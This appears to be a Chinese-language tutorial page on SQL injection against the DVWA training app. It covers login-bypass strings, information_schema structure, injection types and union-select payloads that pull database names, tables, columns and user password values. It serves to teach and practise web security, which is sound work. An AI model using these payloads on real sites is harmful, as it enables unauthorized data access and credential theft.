弱口令
SQL注入
萬能密碼
admin'-- '
admin'#
萬能用戶名
xxx' or 1=1 limit 1 -- -
脫庫
一庫:information_schema
三表:
-
schemata 表:存放所有數據庫信息
-
tables 表:存放所有表信息
-
columns 表:存放所有字段信息
六字段:
-
schemata表的 schema_name 字段:存放具體的數據庫名
-
tables表的 table_name 字段:存放具體的表名
-
tables表的 table_schema 字段:存放表所在的數據庫
-
columns表的 column_name 字段:存放具體的字段名
-
columns表的 table_name 字段:存放字段所在的表名
-
columns表的 table_schema 字段:存放字段所在的數據庫名
SQL注入的類型
根據請求方式的不同可以分為
-
GET請求方式注入
-
POST請求方式注入
根據參數的數據類型可以分為
-
數值型注入
-
字符型注入
-
搜索型注入
根據注入后的回顯情況
-
報錯型注入
-
聯合查詢注入
-
布爾型注入
-
基于時間的注入
顯示位數的判斷
通過order by子句可以判斷查詢結果的顯示位
聯合查詢
union select
聯合查詢的關聯表顯示數一樣的情況下
只有可以使用union的情況下的注入
聯合查詢注入的探測
首先判斷是否存在注入點以及注入點類型
第一種判斷輸入:1‘報錯肯定存在注入漏洞
第二種判斷輸入1 and 1=1和1 and 1=2如果回顯相同則存在字符型注入,如果數值回顯不同則說明存在數值型注入。
聯合查詢漏洞利用
脫取數據庫名
判斷有幾個顯示位
使用ouder by子句查看
1' union select 1,database() --
獲取到數據庫名
脫取數據庫表名
payload:
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --
脫取數據庫字段名
-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema='dvwa' AND table_name='users') -- -
脫取數據庫的字段值payload
1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users) -- -
浙公網安備 33010602011771號